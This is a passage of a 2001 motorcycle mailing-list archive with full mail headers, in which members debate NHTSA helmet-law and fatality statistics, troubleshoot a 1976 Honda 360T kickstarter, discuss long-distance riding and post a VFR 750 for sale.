amazing. :) Horkster -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Tue Feb 13 14:18:26 2001 Return-Path: Received: from mh1.dot.gov (mh1.dot.gov [152.119.25.210]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DJIOn22796 for ; Tue, 13 Feb 2001 14:18:25 -0500 (EST) Received: from [152.119.25.55] by mh1.dot.gov with ESMTP; Mon, 12 Feb 2001 11:27:50 -0500 Received: by rspa-exchange.rspa.dot.gov with Internet Mail Service (5.5.2650.21) id ; Mon, 12 Feb 2001 11:23:07 -0500 Message-Id: From: "Burger, Donald" To: "'Matthew Patton'" , bhuson@XXXXXX, +Andrew Cc: DC-Cycles Subject: RE: Helmet Laws Article - stats can be twisted Date: Mon, 12 Feb 2001 11:23:06 -0500 X-Mailer: Internet Mail Service (5.5.2650.21) If you would like to view the NHTSA report you can find it at: http://www.nhtsa.dot.gov/people/injury/pedbimot/motorcycle/EvalofMotor.pdf you can also view the DOT Fatality Analysis Reporting System at: http://www.nhtsa.dot.gov/people/ncsa/fars.html The query function lets you examine the data in a multitude of different ways. One of the things I discovered while playing with the data is that during the years 96-99 while overall motorcycle fatalities increased by 12.5% nationwide and 44.5% in Texas, the number of fatalities for Harley Davidson riders increased by 35% nationwide and by 80% in Texas. Also, almost 50% of the nationwide increase in motorcycle deaths can be attributed to Harley riders. Does anyone know what percentage Harleys are of the total number of motorcycles in use? I hope it is proportional to the number of fatalities, but I have no idea. During the same timeframe, Yamaha had the second largest increase with a 14.5% increase in fatalities, I wonder how much of this was related to the release of the R1? Don B > -----Original Message----- > From: Matthew Patton [SMTP:pattonme@XXXXXX] > Sent: Monday, February 12, 2001 9:58 AM > To: bhuson@XXXXXX; +Andrew > Cc: DC-Cycles > Subject: Re: Helmet Laws Article - stats can be twisted > > What's notably absent from the yahoo distillation of the NHTSA article is > NO mention of riding/milage trends. Since '97 I would say that MC's have > increased in popularitiy (and thus miles ridden) at a hefty clip. You must > control for other influencing factors if you want to determine > correlation/causation. But as any stats person can tell you, these two > things are not the same. Just because you have correlation doesn't mean > you have causation. I'd have to look at the NHTSA's report itself before > any kind of conclusions can be drawn. > > As to AMA/Abate's reaction they will no doubt pick the stats, their > collection, and other factors apart. It's appalling just how lousy some > 'research' is. It would also be interesting to look at the other states > that have repealed their laws, or haven't had laws for a while and > consider the accident rates and compare across states. You might find that > AK/TX are outliers, or perfectly within norms... > > -- > > > "Civilization can only begin when sex is restrained." - Sigmond Freud > > > _______________________________________________ > Get your free email from http://mail.theglobe.com > > Powered by Outblaze From dc-cycles-request Tue Feb 13 15:06:26 2001 Return-Path: Received: from funhouse.gsfc.nasa.gov (funhouse.gsfc.nasa.gov [128.183.254.140]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DK6On23736 for ; Tue, 13 Feb 2001 15:06:24 -0500 (EST) Received: from sunset.pop700.gsfc.nasa.gov (sunset.gsfc.nasa.gov [128.183.221.159]) by funhouse.gsfc.nasa.gov (8.9.3/8.9.3) with ESMTP id PAA28669 for ; Tue, 13 Feb 2001 15:06:22 -0500 (EST) Message-Id: <5.0.2.1.0.20010213145743.00a2c660@pop700.gsfc.nasa.gov> X-Sender: rrapp@XXXXXX X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Tue, 13 Feb 2001 15:02:32 -0500 To: dc-cycles@XXXXXX From: Bob Rapp Subject: FS: '97 VFR 750 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Hi all, Since I haven't been riding it much or for the purposes for which I initially purchased it, I've decided to sell my '97 Honda VFR 750. Specs are: 1997 Honda VFR-750, Red (of course), 14k, stock, very clean! Garage-kept and well maintained. I wired a 2-way switch to use the turn signals as hazard lights (not std on Honda sport bikes) and mounted a Sigma bicycle computer. Along with the bike comes a Second Look tank cover, Geza m/c cover, and a VFR-specific Givi rack mount. Asking $6500. I also have some additional fairing parts (scratched) that may be of use to someone (separate). I may be reached via email or 301 774 5824 or blrapp@XXXXXX. If calling, please do so before 8pm; thanks. Regards, Bob From dc-cycles-request Tue Feb 13 15:13:09 2001 Return-Path: Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DKD8n23813 for ; Tue, 13 Feb 2001 15:13:08 -0500 (EST) Received: from 66-44-86-236.s617.tnt2.lnhdc.md.dialup.rcn.com ([66.44.86.236] helo=pawilson) by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14Slot-0006j9-00 ; Tue, 13 Feb 2001 15:13:03 -0500 Message-ID: <002001c095f9$3ec706c0$bb82fea9@pawilson> From: "Paul Wilson" To: "Burger, Donald" Cc: "dc-cycles list" References: Subject: Re: Helmet Laws Article - stats can be twisted Date: Tue, 13 Feb 2001 15:11:28 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 I don't want to start a flame war, but I seriously doubt Harleys even come close to being 50% of registered motorcycles and probably don't come within a country mile of accounting for 50% of motorcycle mileage. The high percentage in Harley fatalities are probably due to (in ascending order of importance): a) Newbies buying then as "lifestyle" accessories and therefore tending to be inexperienced while at the same time riding big heavy bikes that are relatively unforgiving of such things as deficiencies in braking technique, i.e. underuse of the front brake; b) Rider impairment; (may be a bad stereotype that HD riders might tend to ride drunk, but every time I pass a bar with bikes outside 90% of them are Harleys); and c) The big one: higher percentage of non-helmet use or use of non-certified "novelty" helmets. It doesn't surprise me in the slightest that Harleys account for 50% of fatalities. Paul in DC 91 CB750 ----- Original Message ----- From: Burger, Donald > If you would like to view the NHTSA report you can find it at: > > http://www.nhtsa.dot.gov/people/injury/pedbimot/motorcycle/EvalofMotor.pdf > > you can also view the DOT Fatality Analysis Reporting System at: > http://www.nhtsa.dot.gov/people/ncsa/fars.html > > The query function lets you examine the data in a multitude of different > ways. > > One of the things I discovered while playing with the data is that during > the years 96-99 while overall motorcycle fatalities increased by 12.5% > nationwide and 44.5% in Texas, the number of fatalities for Harley Davidson > riders increased by 35% nationwide and by 80% in Texas. Also, almost 50% of > the nationwide increase in motorcycle deaths can be attributed to Harley > riders. Does anyone know what percentage Harleys are of the total number of > motorcycles in use? I hope it is proportional to the number of fatalities, > but I have no idea. During the same timeframe, Yamaha had the second > largest increase with a 14.5% increase in fatalities, I wonder how much of > this was related to the release of the R1? > > Don B From dc-cycles-request Tue Feb 13 15:32:34 2001 Return-Path: Received: from www.mostlyharmless.net (w157.z216112246.was-dc.dsl.cnc.net [216.112.246.157]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DKWVn24145 for ; Tue, 13 Feb 2001 15:32:32 -0500 (EST) Received: from www.mostlyharmless.net (localhost.localdomain [127.0.0.1]) by www.mostlyharmless.net (8.11.0/8.8.7) with SMTP id f1DKQP011289 for ; Tue, 13 Feb 2001 15:26:26 -0500 From: Brian Roach Reply-To: roach@XXXXXX To: dc-cycles@XXXXXX Subject: Re: Helmet Laws Article - stats can be twisted Date: Tue, 13 Feb 2001 15:26:25 -0500 X-Mailer: KMail [version 1.1.95.2] Content-Type: text/plain References: In-Reply-To: MIME-Version: 1.0 Message-Id: <01021315262507.00979@www.mostlyharmless.net> Content-Transfer-Encoding: 8bit On Mon, 12 Feb 2001, you wrote: > One of the things I discovered while playing with the data is that during > the years 96-99 while overall motorcycle fatalities increased by 12.5% > nationwide and 44.5% in Texas, the number of fatalities for Harley Davidson > riders increased by 35% nationwide and by 80% in Texas. Also, almost 50% > of the nationwide increase in motorcycle deaths can be attributed to Harley > riders. Does anyone know what percentage Harleys are of the total number > of motorcycles in use? I hope it is proportional to the number of > fatalities, but I have no idea. During the same timeframe, Yamaha had the > second largest increase with a 14.5% increase in fatalities, I wonder how > much of this was related to the release of the R1? What the hell are they doing down there in Texas?? ANyone have stats on the armadillio population growth during the same time period?? All jokes aside... the data makes sense. Harley-Davidson's customer these days is the status seeker - the RUB (Rich Urban Biker). God forbid they would learn how to ride the damn things. Of all the bikes I see out on the road, these seem to be piloted by the least skilled - keeping them upright at stoplights often seems to be a challange, never mind negotiating a turn. (And for the record... I own a HD, I'm not just bashing here). As for the R1 - possible, but not for the reasons you're thinking. The R1 and R6 have been king of the sportbike market - more squids on Yamahas than anything else. I suspect that Suzuki will now see an increase with the new GSXR models being the squid model of choice for the forseable future. Basic fact is that any 600cc or 1000cc hypersport is dangerous if you're not a very experienced rider, no matter what the local dealer tells you. At any rate... believe it or not, the numbers are encouraging. A 12.5% increase of deaths during a record expansion of motorcycle sales (50% increase in motorcycle ownership in the US over the last 6 years) means the number of deaths per capita has gone down. This again doesn't figure in number of miles ridden, but the law of averages says that is fairly constant given X number of riders. - Roach From dc-cycles-request Tue Feb 13 16:23:49 2001 Return-Path: Received: from beta.nova.org (beta.nova.org [209.31.144.41]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DLNln25041 for ; Tue, 13 Feb 2001 16:23:47 -0500 (EST) Received: from members.fcac.org (members.fcac.org [209.31.144.35]) by beta.nova.org (8.10.1/8.10.1) with ESMTP id f1DLNgN13855 for ; Tue, 13 Feb 2001 16:23:42 -0500 (EST) Date: Tue, 13 Feb 2001 16:23:41 -0500 (EST) From: Kirk Roy X-Sender: kirk@XXXXXX To: DC-Cycles Mailing List Subject: 76 Honda 360T Message-ID: Organization: Northern Virginia Internet Access Cooperative MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'm trying to get a 76 Honda 360T (a twin) to start. I've hit a bit of a snag... I cannot get the kickstarter to move without pulling the clutch lever in. When I pull the clutch lever the kickstarter moves freely - so freely that it seems like there's zero compression (which is, I guess, a possibility). If I put it in gear, hold in the clutch lever, and kick it the bike will move forward. All behaviors are the same regardless of whether or not the spark plugs are in... There must be some little thing I'm not doing here. Any ideas? Thanks, Kirk 2000 Kawasaki KLX300 (http://planetklx.dirtrider.net) 1998 Honda VTR1000 (http://members.nova.org/~kirk/Kirk1.jpg) DCOffroad - the Wash, DC area offroad e-mail list: http://www.egroups.com/community/dcoffroad From dc-cycles-request Tue Feb 13 16:24:31 2001 Return-Path: Received: from dgesmtp02.wcom.com (dgesmtp02.wcom.com [199.249.16.17]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DLOTn25051 for ; Tue, 13 Feb 2001 16:24:30 -0500 (EST) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-33 #42261) id <0G8P00A01SS1W2@XXXXXX> for dc-cycles@XXXXXX; Tue, 13 Feb 2001 21:24:01 +0000 (GMT) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-33 #42261) with ESMTP id <0G8P00A1TSS1UQ@XXXXXX>; Tue, 13 Feb 2001 21:24:01 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8P00101SRMVA@XXXXXX>; Tue, 13 Feb 2001 21:23:57 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8P0011GSRKRT@XXXXXX>; Tue, 13 Feb 2001 21:23:45 +0000 (GMT) Date: Tue, 13 Feb 2001 16:23:41 -0500 From: Dale Horstman Subject: Re: Why Interstate? was LD Riders To: Leon Begeman Cc: dc-cycles@XXXXXX Message-id: <3A89A5DD.ABB18877@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <20010212231130.12441.qmail@web902.mail.yahoo.com> Leon Begeman wrote: > Another example, I might go ride Deal's Gap on May 11 > because that's when some of my 250 buddies will be > there. If I don't have the time, I'll make it a one > day trip. 500 miles of slab, 33 miles of Deal's Gap > an hour BSing with bikers and 500 miles of slab. Not > a bad day. Nope, it wasn't. :) > Finally, I just like to ride. The road doesn't > matter. > If we ride together, you pick the road, I like 'em > all. Me too. 1000-mile days aren't the end-all and be-all of motorcycling, just another way to enjoy the bike and this great country. :) -- Mandatory second line (CM tm) Dale Horstman - the.horkster@XXXXXX Dale City, Virginia, USA, Earth '98 Kawasaki Concours - BugSlayer '99 Kawasaki Concours - Grape Nehi '82 GS850G, '87 Concours - project bikes From dc-cycles-request Tue Feb 13 16:29:58 2001 Return-Path: Received: from dgesmtp01.wcom.com (dgesmtp01.wcom.com [199.249.16.16]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DLTun25129 for ; Tue, 13 Feb 2001 16:29:57 -0500 (EST) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-33 #42260) id <0G8P00B01SG7MH@XXXXXX> for dc-cycles@XXXXXX; Tue, 13 Feb 2001 21:16:55 +0000 (GMT) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-33 #42260) with ESMTP id <0G8P006MMSG7DR@XXXXXX>; Tue, 13 Feb 2001 21:16:55 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8P00L01SFZ02@XXXXXX>; Tue, 13 Feb 2001 21:16:55 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8P00HOXSFUXL@XXXXXX>; Tue, 13 Feb 2001 21:16:42 +0000 (GMT) Date: Tue, 13 Feb 2001 16:16:39 -0500 From: Dale Horstman Subject: Re: Attn; LD Riders To: Paul Wilson Cc: dc-cycles list Message-id: <3A89A437.90F57FDD@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <20010212220516.10100.qmail@theglobe.com> <3A8862AC.18B7AFD3@XXXXXX> <006701c09545$7d7251e0$bb82fea9@pawilson> Paul Wilson wrote: > > I think Matt's question was more why slab it for 1,000 miles? Just to cover > some arbitrary distance and pass asphalt under your tires? Nah, it's more to get somewhere (far away) and back in an allotted time. Superslab is just a means to an end. On the inaugural MD-2020 last summer, the first part of the route was through some major scenic twisties in WV and SE Ohio. Great route, but it slowed us down and wore us out (it was a hot day, too) - made it much more challenging to finish the ride. By the time we hit the interstates, it was a welcome relief. :) The wife and I took 23 hours and 40 something minutes to complete that one, had to stop a couple of times for naps along the way. > Let's face it, it's not exactly a test of athletic prowess like the > Ironman Triathlon. But it is a mental exercise that I imagine is just about as satisfying. > I'd rather do "only" > 800 miles in 24 hours or a "metric ironbutt" at 620 statute miles and > actually see something besides the backsides of tractor trailer rigs and > have time to daisy pick. Those kinds of rides are great, too. But what are you gonna do if you want to daisy pick in, say, Oregon this summer? Like I'm gonna do? :) I only need to take off 5 days from work. Oh yeah! > Maybe we need to convert to the Metric System and > put an end to this foolishness. :) The metric system would make life much easier. 100 km in an hour is a pretty good pace, makes calculating distances much easier. We'd have SS2000's and BBG2500's instead. I'm all for it. :) -- Mandatory second line (CM tm) Dale Horstman - the.horkster@XXXXXX Dale City, Virginia, USA, Earth '98 Kawasaki Concours - BugSlayer '99 Kawasaki Concours - Grape Nehi '82 GS850G, '87 Concours - project bikes From dc-cycles-request Tue Feb 13 16:43:35 2001 Return-Path: Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DLhYn25362 for ; Tue, 13 Feb 2001 16:43:34 -0500 (EST) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42256) id <0G8P00F01TG4EO@XXXXXX> for dc-cycles@XXXXXX; Tue, 13 Feb 2001 21:38:28 +0000 (GMT) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-32 #42256) with ESMTP id <0G8P00E9ZTG41G@XXXXXX>; Tue, 13 Feb 2001 21:38:28 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8P00901TFSGC@XXXXXX>; Tue, 13 Feb 2001 21:38:28 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8P0087UTFLQ1@XXXXXX>; Tue, 13 Feb 2001 21:38:09 +0000 (GMT) Date: Tue, 13 Feb 2001 16:38:06 -0500 From: Dale Horstman Subject: Re: Helmet Laws Article - stats can be twisted To: Paul Wilson Cc: dc-cycles list Message-id: <3A89A93E.50AF80AD@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <002001c095f9$3ec706c0$bb82fea9@pawilson> Paul Wilson wrote: > > I don't want to start a flame war, but I seriously doubt Harleys even come > close to being 50% of registered motorcycles I'd like to know for sure. I'm betting it is close. > and probably don't come within a country mile of accounting for 50% of > motorcycle mileage. That's probably a pretty safe bet. :) Now if we are talking trailer mileage... :) > a) Newbies buying then as "lifestyle" accessories and therefore tending > to be inexperienced while at the same time riding big heavy bikes that are > relatively unforgiving of such things as deficiencies in braking technique, > i.e. underuse of the front brake; I'd be willing to bet that underuse of the front brake is one of the biggest factors in motorcycle collisions. Left-turning-in-front-of you-cars-be-damned, bikes can stop pretty quickly. > It doesn't surprise me in the slightest that Harleys account for 50% of > fatalities. Hopefully the other half are squid-types. I wonder what the fatality rate is for "slightly" overweight daily commuters and occasional LD-riders who always wear full protective cordura gear, flip-up helmets, and ride dirty Concours motorcycles. ;) -- Mandatory second line (CM tm) Dale Horstman - the.horkster@XXXXXX Dale City, Virginia, USA, Earth '98 Kawasaki Concours - BugSlayer '99 Kawasaki Concours - Grape Nehi '82 GS850G, '87 Concours - project bikes From dc-cycles-request Tue Feb 13 16:44:38 2001 Return-Path: Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DLibn25372 for ; Tue, 13 Feb 2001 16:44:37 -0500 (EST) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42256) id <0G8P00I01TPS77@XXXXXX> for dc-cycles@XXXXXX; Tue, 13 Feb 2001 21:44:16 +0000 (GMT) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-32 #42256) with ESMTP id <0G8P00GFWTPS9T@XXXXXX>; Tue, 13 Feb 2001 21:44:16 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8P00C01TPHQL@XXXXXX>; Tue, 13 Feb 2001 21:44:16 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8P008LUTP6JP@XXXXXX>; Tue, 13 Feb 2001 21:43:54 +0000 (GMT) Date: Tue, 13 Feb 2001 16:43:51 -0500 From: Dale Horstman Subject: Re: 76 Honda 360T To: Kirk Roy Cc: DC-Cycles Mailing List Message-id: <3A89AA97.376ACA46@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: Kirk Roy wrote: > > I'm trying to get a 76 Honda 360T (a twin) to start. I've hit a bit of a > snag... I cannot get the kickstarter to move without pulling the clutch > lever in. When I pull the clutch lever the kickstarter moves freely - so > freely that it seems like there's zero compression (which is, I guess, a > possibility). If I put it in gear, hold in the clutch lever, and kick it > the bike will move forward. All behaviors are the same regardless of > whether or not the spark plugs are in... There must be some little thing > I'm not doing here. Any ideas? Shouldn't you be kicking it over in neutral? Could be that the clutch plates are all stuck together, if the bike has sat for very long. Kicking it over in gear with the clutch lever pulled in might still drag the bike forward until things work themselves loose... Mind you I'm just guessing. I wish my Connie had a kickstarter. :) -- Mandatory second line (CM tm) Dale Horstman - the.horkster@XXXXXX Dale City, Virginia, USA, Earth '98 Kawasaki Concours - BugSlayer '99 Kawasaki Concours - Grape Nehi '82 GS850G, '87 Concours - project bikes From dc-cycles-request Tue Feb 13 16:48:23 2001 Return-Path: Received: from web11006.mail.yahoo.com (web11006.mail.yahoo.com [216.136.131.56]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1DLmLn25459 for ; Tue, 13 Feb 2001 16:48:21 -0500 (EST) Message-ID: <20010213214818.56391.qmail@web11006.mail.yahoo.com> Received: from [63.160.3.131] by web11006.mail.yahoo.com; Tue, 13 Feb 2001 13:48:18 PST Date: Tue, 13 Feb 2001 13:48:18 -0800 (PST) From: Trey Herb Subject: Re: 76 Honda 360T To: DC-Cycles In-Reply-To: <3A89AA97.376ACA46@home.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii roll is down a hill in neutral and then pop it into second that will either break it or fixit. --- Dale Horstman wrote: > Kirk Roy wrote: > > > > I'm trying to get a 76 Honda 360T (a twin) to > start. I've hit a bit of a > > snag... I cannot get the kickstarter to move > without pulling the clutch > > lever in. When I pull the clutch lever the > kickstarter moves freely - so > > freely that it seems like there's zero compression > (which is, I guess, a > > possibility). If I put it in gear, hold in the > clutch lever, and kick it > > the bike will move forward. All behaviors are the > same regardless of > > whether or not the spark plugs are in... There > must be some little thing > > I'm not doing here. Any ideas? > > Shouldn't you be kicking it over in neutral? > > Could be that the clutch plates are all stuck > together, if the > bike has sat for very long. Kicking it over in gear > with the > clutch lever pulled in might still drag the bike > forward until > things work themselves loose... > > Mind you I'm just guessing. I wish my Connie had a > kickstarter. :) > > > -- > Mandatory second line (CM tm) > > Dale Horstman - the.horkster@XXXXXX > Dale City, Virginia, USA, Earth > > '98 Kawasaki Concours - BugSlayer > '99 Kawasaki Concours - Grape Nehi > '82 GS850G, '87 Concours - project bikes __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Tue Feb 13 16:50:18 2001 Return-Path: Received: from web902.mail.yahoo.com (web902.mail.yahoo.com [128.11.23.77]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1DLoGn25537 for ; Tue, 13 Feb 2001 16:50:16 -0500 (EST) Received: (qmail 11864 invoked by uid 60001); 13 Feb 2001 21:50:12 -0000 Message-ID: <20010213215012.11863.qmail@web902.mail.yahoo.com> Received: from [204.227.255.9] by web902.mail.yahoo.com; Tue, 13 Feb 2001 13:50:12 PST Date: Tue, 13 Feb 2001 13:50:12 -0800 (PST) From: Justin Stefanon Subject: Re: Helmet Laws Article - stats can be twisted To: dcbike In-Reply-To: <3A89A93E.50AF80AD@home.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I learned how to ride on a Harley, and found the bike to be ridiculusly easy to ride and most forgiving in all circumstances, but for picking it up if you were enough of a nit to drop it. That may attribute to the hypothesized lack of proper riding technique among Harley riders. --- Dale Horstman wrote: > Paul Wilson wrote: > > > > I don't want to start a flame war, but I seriously > doubt Harleys even come > > close to being 50% of registered motorcycles > > I'd like to know for sure. I'm betting it is close. > > > and probably don't come within a country mile of > accounting for 50% of > > motorcycle mileage. > > That's probably a pretty safe bet. :) Now if we > are talking > trailer mileage... :) > > > a) Newbies buying then as "lifestyle" > accessories and therefore tending > > to be inexperienced while at the same time riding > big heavy bikes that are > > relatively unforgiving of such things as > deficiencies in braking technique, > > i.e. underuse of the front brake; > > I'd be willing to bet that underuse of the front > brake is one of the > biggest factors in motorcycle collisions. > Left-turning-in-front-of > you-cars-be-damned, bikes can stop pretty quickly. > > > It doesn't surprise me in the slightest that > Harleys account for 50% of > > fatalities. > > Hopefully the other half are squid-types. I wonder > what the > fatality rate is for "slightly" overweight daily > commuters and > occasional LD-riders who always wear full protective > cordura > gear, flip-up helmets, and ride dirty Concours > motorcycles. ;) > > -- > Mandatory second line (CM tm) > > Dale Horstman - the.horkster@XXXXXX > Dale City, Virginia, USA, Earth > > '98 Kawasaki Concours - BugSlayer > '99 Kawasaki Concours - Grape Nehi > '82 GS850G, '87 Concours - project bikes __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Tue Feb 13 16:56:15 2001 Return-Path: Received: from www.mostlyharmless.net (w157.z216112246.was-dc.dsl.cnc.net [216.112.246.157]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DLuCn25552 for ; Tue, 13 Feb 2001 16:56:14 -0500 (EST) Received: from www.mostlyharmless.net (localhost.localdomain [127.0.0.1]) by www.mostlyharmless.net (8.11.0/8.8.7) with SMTP id f1DLvG011639; Tue, 13 Feb 2001 16:57:16 -0500 From: Brian Roach Reply-To: roach@XXXXXX To: Dale Horstman , Paul Wilson Subject: Re: Helmet Laws Article - stats can be twisted Date: Tue, 13 Feb 2001 16:57:16 -0500 X-Mailer: KMail [version 1.1.95.2] Content-Type: text/plain Cc: dc-cycles list References: <002001c095f9$3ec706c0$bb82fea9@pawilson> <3A89A93E.50AF80AD@home.com> In-Reply-To: <3A89A93E.50AF80AD@home.com> MIME-Version: 1.0 Message-Id: <0102131657160A.00979@www.mostlyharmless.net> Content-Transfer-Encoding: 8bit On Tue, 13 Feb 2001, Dale Horstman wrote: > Hopefully the other half are squid-types. I wonder what the > fatality rate is for "slightly" overweight daily commuters and > occasional LD-riders who always wear full protective cordura > gear, flip-up helmets, and ride dirty Concours motorcycles. ;) Pretty much next to zero. An interesting view of motorcycle accident statistics (specifically the Hurt report) in the form of an editorial ... http://www.activebike.com/index/features/losers/losers.htm (If you haven't ever visited 'The Interactive Motorcycle', it's a great site). Basically, the author of the article sums up the statistics with... "After carefully reviewing each of Hurt's 55 separate findings of fact, I was struck by a single, overarching conclusion: nearly all of the 3,600 riders he studied were losers." I tend to agree. - Roach From dc-cycles-request Tue Feb 13 16:56:57 2001 Return-Path: Received: from hotmail.com (f80.law7.hotmail.com [216.33.237.80]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DLuun25562 for ; Tue, 13 Feb 2001 16:56:56 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 13 Feb 2001 13:56:46 -0800 Received: from 204.71.174.14 by lw7fd.law7.hotmail.msn.com with HTTP; Tue, 13 Feb 2001 21:56:46 GMT X-Originating-IP: [204.71.174.14] From: "Perry Coleman" To: dc-cycles@XXXXXX Subject: Re: 76 Honda 360T Date: Tue, 13 Feb 2001 16:56:46 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 13 Feb 2001 21:56:46.0860 (UTC) FILETIME=[DC231CC0:01C09607] That was going to be my suggestion... Perry >From: Trey Herb >To: DC-Cycles >Subject: Re: 76 Honda 360T >Date: Tue, 13 Feb 2001 13:48:18 -0800 (PST) > >roll is down a hill in neutral and then pop it into >second that will either break it or fixit. > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Tue Feb 13 16:58:01 2001 Return-Path: Received: from mail.his.com (root@XXXXXX [209.67.207.13]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DLw0n25646 for ; Tue, 13 Feb 2001 16:58:00 -0500 (EST) Received: from harris (max2h-155.his.com [216.32.85.155]) by mail.his.com (8.9.3/8.9.3) with SMTP id QAA22202; Tue, 13 Feb 2001 16:57:52 -0500 (EST) Message-Id: <3.0.32.20010213165901.0106e06c@his.com> X-Sender: harris@XXXXXX X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 13 Feb 2001 16:59:04 -0800 To: Kirk Roy , DC-Cycles Mailing List From: Stephen Harris Subject: Re: 76 Honda 360T Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" The kick starter on the 360, as most kick starters do, impinges upon the ring gear on the outside of the clutch basket. This same gear engages the PTO gear on the crank shaft. Kicking in gear with the clutch lever to the bar will result in the bike creeping forward because the clutch plates, which do not have normal oil pressure hosing the plates down, are dragging. Sounds like you have a bike that has not run in a while. Take the left side crank cover off and put a wrench on the crank & try to turn the engine over by hand. If the crank shaft cannot turn despite lots of torque, the motor is siezed. Go buy another $87 CB360T. If the cranks resists, then start turning after letting go, it will likely be fine. Enjoy At 04:23 PM 2/13/01 -0500, Kirk Roy wrote: >I'm trying to get a 76 Honda 360T (a twin) to start. I've hit a bit of a >snag... I cannot get the kickstarter to move without pulling the clutch >lever in. When I pull the clutch lever the kickstarter moves freely - so >freely that it seems like there's zero compression (which is, I guess, a >possibility). If I put it in gear, hold in the clutch lever, and kick it >the bike will move forward. All behaviors are the same regardless of >whether or not the spark plugs are in... There must be some little thing >I'm not doing here. Any ideas? > >Thanks, > >Kirk >2000 Kawasaki KLX300 (http://planetklx.dirtrider.net) >1998 Honda VTR1000 (http://members.nova.org/~kirk/Kirk1.jpg) >DCOffroad - the Wash, DC area offroad e-mail list: > http://www.egroups.com/community/dcoffroad > > > Need a motorcycle related phone number or address? Try http://www.his.com/harris/shops.htm From dc-cycles-request Tue Feb 13 17:21:50 2001 Return-Path: Received: from ws3.us2.outblaze.com (ws3.us2.outblaze.com [208.184.211.199]) by 